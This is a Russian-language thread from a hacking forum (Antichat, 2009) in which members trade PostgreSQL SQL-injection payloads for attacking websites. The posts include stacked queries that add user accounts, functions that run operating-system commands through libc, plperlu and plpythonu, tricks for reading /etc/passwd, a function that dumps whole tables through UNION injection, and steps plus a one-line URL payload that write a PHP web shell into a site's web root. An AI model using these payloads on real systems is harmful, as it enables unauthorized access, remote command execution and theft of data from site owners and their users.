ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > ИНФО > Статьи > Авторские статьи
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #21  
Старый 20.08.2009, 01:31
Аватар для Spyder
Spyder
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
Провел на форуме:
9098076

Репутация: 4303


По умолчанию

в его случае права у юзера полные
просто там база данных находится на другом сервере
Цитата:
И вообще в pg sql комбинация ;COPY работает очень редко.
если права usesuper то работает всегда
 
Ответить с цитированием

  #22  
Старый 24.08.2009, 12:13
Аватар для Insane bboy
Insane bboy
Познающий
Регистрация: 11.07.2009
Сообщений: 58
Провел на форуме:
231064

Репутация: 6
По умолчанию

пытаюсь зарегать нового юзера
таблица user колонки login и passwd

пробую так:
id=27;INSERT INTO user(login) VALUES ('значение логина');
выдает ошибку типа поле пароль пустое(ну правильно, логично)
как сделать запрос чтоб сразу заполнить два поля(логин и пароль)?

сам спросил, сам и отвечаю
в моем случае ...=3;INSERT+INTO+users+(id,login,pass)+VALUES+(3, сюда логин, сюда пасс,);--

Последний раз редактировалось Insane bboy; 24.08.2009 в 12:52..
 
Ответить с цитированием

  #23  
Старый 01.09.2009, 06:06
Аватар для Ded MustD!e
Ded MustD!e
Members of Antichat - Level 5
Регистрация: 23.08.2007
Сообщений: 417
Провел на форуме:
14324684

Репутация: 3908
По умолчанию

Небольшое дополнение в тему создания функций.

1. В PostgreSQL < 8.1 есть возможность добавить функцию из библиотеки:

Создаем таблицу stdout с колонками id,system_out.
Цитата:
CREATE TABLE stdout(id serial, system_out text)--
Создаем функцию system().
Цитата:
CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C' STRICT--
Выполняем произвольную команду и записываем результат её выполнения в /tmp/test.
Цитата:
SELECT system('uname -a > /tmp/test')--
Копируем данные из /tmp/test в таблицу stdout.
Цитата:
COPY stdout(system_out) FROM '/tmp/test'--
Выводим данные на экран.
Цитата:
UNION ALL SELECT NULL,(SELECT stdout FROM system_out ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--
2. Чуть подругому через plperl:

Создаем язык, если он не был создан.
Цитата:
CREATE LANGUAGE plperlu
Создаем функцию proxyshell().
Цитата:
CREATE FUNCTION proxyshell(text) RETURNS text AS 'open(FD,"$_[0] |");return join("",);' LANGUAGE plperlu;
Выполняем команду и выводим на экран.
Цитата:
SELECT+proxyshell('uname -a')::int--
3. И напоследок через plpython:

Создаем функцию proxyshell().
Цитата:
CREATE FUNCTION proxyshell(text) RETURNS text AS 'import os; return os.popen(args[0]).read()' LANGUAGE plpythonu;--
Наслаждаемся выполнением команд)
Цитата:
SELECT+proxyshell('uname -a')::int--
__________________
Feci, quod potui. Faciant meliora potentes.
 
Ответить с цитированием

  #24  
Старый 07.09.2009, 13:54
Аватар для Dr.Frank
Dr.Frank
Постоянный
Регистрация: 31.07.2002
Сообщений: 312
Провел на форуме:
1212427

Репутация: 187
Отправить сообщение для Dr.Frank с помощью ICQ
По умолчанию

У меня просьба(а если кто-то уже знает ответ, то вопрос): можно ли при чтении файлов вместо '/etc/passwd' писать chr(47)||chr(101)||chr(116)||chr(99)||chr(47)||chr (112)||chr(97)||chr(115)||chr(115)||chr(119)||chr( 100) по аналогии с mysql?
А если никто не знает, то просьба тем, у кого есть возможность(типа рут привелегии или т.п.), проверить такой способ, т.к. у меня не получилось =/
Первоначальный вариант не подошел, т.к. кавычки экранируются.
 
Ответить с цитированием

  #25  
Старый 07.09.2009, 14:02
Аватар для Spyder
Spyder
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
Провел на форуме:
9098076

Репутация: 4303


По умолчанию

если версия >8.0, то можно так
$$/etc/passwd$$
 
Ответить с цитированием

  #26  
Старый 07.09.2009, 14:13
Аватар для pampom
pampom
Познающий
Регистрация: 23.04.2008
Сообщений: 63
Провел на форуме:
176079

Репутация: 13
По умолчанию

откуда такая инфа можна пример?
 
Ответить с цитированием

  #27  
Старый 07.09.2009, 18:35
Аватар для Spyder
Spyder
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
Провел на форуме:
9098076

Репутация: 4303


По умолчанию

http://www.postgresql.org/docs/8.4/static/sql-syntax-lexical.html
http://www.postgresql.org/docs/8.4/static/release-8-0.html

какой тебе пример нужен? скулю показать где это работает?

Последний раз редактировалось Spyder; 07.09.2009 в 18:38..
 
Ответить с цитированием

  #28  
Старый 14.09.2009, 16:44
Аватар для Spyder
Spyder
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
Провел на форуме:
9098076

Репутация: 4303


По умолчанию

Прощай лимит

Если у нас установлен процедурный язык plpgsql
Код:
select lanname from pg_language where lanname='plpgsql'
Можно не замарачиваться с лимитом и вывести содержимое таблицы одним запросом
Для этого создаем функцию

Код:
CREATE OR REPLACE FUNCTION getall (text,text,text,text,text) RETURNS text AS $func$
DECLARE 
		schema 		ALIAS FOR $1;
		table 			ALIAS FOR $2;
		column1 		ALIAS FOR $3;
		column2 		ALIAS FOR $4;
		column3		ALIAS FOR $5;
		count 			int;
		i 			int;
		temp			text;
		int_test 			text;
		input_refc 		refcursor;
BEGIN 
		int_test := $qr$Result : $qr$;
		OPEN input_refc FOR EXECUTE $qr$SELECT count($qr$ || quote_ident(column1) || $qr$) from $qr$ || quote_ident(schema) || $qr$.$qr$ || quote_ident(table);
		FETCH input_refc into count;
		CLOSE input_refc;
		count := count - 1;
		BEGIN 
				FOR i in 0..count LOOP 
						OPEN input_refc FOR EXECUTE $qr$SELECT $qr$ || quote_ident(column1) || $qr$||chr(58)||$qr$ || quote_ident(column2) || $qr$||chr(58)||$qr$ || quote_ident(column3) || $qr$||$sep$<BR>$sep$ FROM $qr$ || quote_ident(schema) || $qr$.$qr$ || quote_ident(table) || $qr$ LIMIT 1 OFFSET $qr$ || i;
						FETCH input_refc into temp;
						CLOSE input_refc;
						int_test := int_test || temp;
						END LOOP;
						RETURN int_test;
		END;
END;
$func$ LANGUAGE plpgsql;

Функция getall() получает 5 параметров
1 - имя базы
2 - имя таблицы
3,4,5,6 - имена колонок
Функция ориентирована на использование в конструкции Union, т.к разделителем выступает тег <br>
екземпл
id=-1 union select getall('information_schema','columns','column_name ','table_name','table_schema')

Последний раз редактировалось Spyder; 14.09.2009 в 16:45.. Причина: очепятка
 
Ответить с цитированием

  #29  
Старый 23.10.2009, 09:11
Аватар для krypt3r
krypt3r
Познавший АНТИЧАТ
Регистрация: 27.04.2007
Сообщений: 1,044
Провел на форуме:
3660186

Репутация: 905


По умолчанию

GROUP_CONCAT() в PostgreSQL
Код:
SELECT array_to_string(array(SELECT field FROM table), ', ');
 
Ответить с цитированием

Вариант заливки шелла
  #30  
Старый 29.12.2009, 12:37
Аватар для krypt3r
krypt3r
Познавший АНТИЧАТ
Регистрация: 27.04.2007
Сообщений: 1,044
Провел на форуме:
3660186

Репутация: 905


По умолчанию Вариант заливки шелла

Заливка шелла через большие объекты (large objects).
1. Создаем LO.
Код:
dbname=# SELECT lo_create(-1);
Запрос вернет идентификатор типа 4294967295. Это id созданного LO.
2. Подготовим шелл и пропишем его в БД
Код:
dbname=# UPDATE pg_largeobject SET data = '<?php passthru($_GET[cmd]); ?>' WHERE loid = 4294967295;
3. Экспортируем код во внешний файл
Код:
dbname=# SELECT lo_export(4294967295, '/var/www/public_html/uploads/shell.php');
Шелл залит. Осталось удалить LO из БД
Код:
dbname=# SELECT lo_unlink(4294967295);
Все это можно заюзать в одной строке
Код:
http://site.com/index.php?id=1;select+lo_creat(37337);update+pg_largeobject+set+data=$$some_code$$+where+loid=37337;select+lo_export(37337,$$some_file$$);select+lo_unlink(37337);--
Для заливки также требуются права usesuper

PS. Ну и случайно нашел. На запрос типа
Код:
http://site.com/index.php?id=1+and+1=(select+*+from+sometable+as+q(a,b,c,d,e,f))
вывалится ошибка
Код:
ERROR:  table "q" has 5 columns available but 6 columns specified
ERROR:  у таблицы "q" колонок доступно: 5, но указано: 6
если в таблице sometable 5 колонок (в запросе указано 6). При указании количества <= 5 будет ошибка
Код:
ERROR:  subquery must return only one column
ERROR:  подзапрос должен вернуть только одну колонку
Возможно, пригодится как альтернативный вариант подбора количества колонок в таблице
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Обнаружение Sql инъекций в Oracle, часть вторая k00p3r Чужие Статьи 0 13.06.2005 11:26
Sql инъекция и Oracle, часть первая k00p3r Чужие Статьи 0 13.06.2005 11:23
SQL Injection в Oracle k00p3r Чужие Статьи 0 12.06.2005 12:41



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ